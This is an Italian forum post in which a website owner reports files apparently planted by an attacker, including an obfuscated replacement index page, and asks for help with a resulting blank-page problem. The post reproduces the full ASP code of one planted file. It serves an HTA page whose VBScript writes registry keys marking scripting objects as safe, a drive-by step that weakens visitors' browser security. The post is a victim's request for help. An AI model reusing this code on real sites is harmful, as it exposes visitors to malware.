Ora Attacco 15:15
Account Tes
Quest'oggi loggandoci al sito abbiamo notato che c'erano alcuni files che credo facciano parte di un attacco.
In particolare, due file chiamati a.asp ed a.php con uno script (lo stesso nei due diversi linguaggi).
La pagina index.php era stata rinominata in _index.php ed al suo posto ho trovato una pagina con un codice javascript ( :\ o meglio una serie lunghissima di lettere senza senso... credo sia un codice criptato).
Vorrei precisare che sullo spazio non è presente nessuno script php/asp che possa essere stato "bucato" e non ho DB (c'è soltanto un piccolo sondaggio che funziona tramite file di testo) e la pass l'abbiamo solo io ed una amica che è assolutamente fidata.
Ora ho ripristinato la mia vecchia home e il sito mi funziona, ma la mia collaboratrice dice che il sito le restituisce pagina bianca se accede solo con l'url http://www.nomesito.altervista.org e che l'unico modo x vederlo è digitare il nome completo con la pagina http://www.nome.altervista.org/index.php
Potrebbe essere questo il risultato dell'attacco?
Codice della pagina Asp:
__________________________________________________
<%Response.Addheader "Content-Type", "application/hta"
Response.Write "<script language=vbs>self.MoveTo 0, 0
Set r=CreateObject(\"WScript.Shell\")
r.RegWrite \"HKCR\\CLSID\\{0D43FE01-F093-11CF-8940-00A0C9054228}\\Implemented Categories\\{7DD95801-9882-11CF-9FA9-00AA006C42C4}\\\",\"\",\"REG_SZ\"
r.RegWrite \"HKCR\\CLSID\\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\\Implemented Categories\\{7DD95801-9882-11CF-9FA9-00AA006C42C4}\\\",\"\",\"REG_SZ\"
self.Close
</script>"%>
__________________________________________________
Abbiamo anche trovato dentro l'ftp questi file: a.pl, a.asp, a.php con dentro codice java criptato.
>< Accetto consigli/aiuti da chiunque!
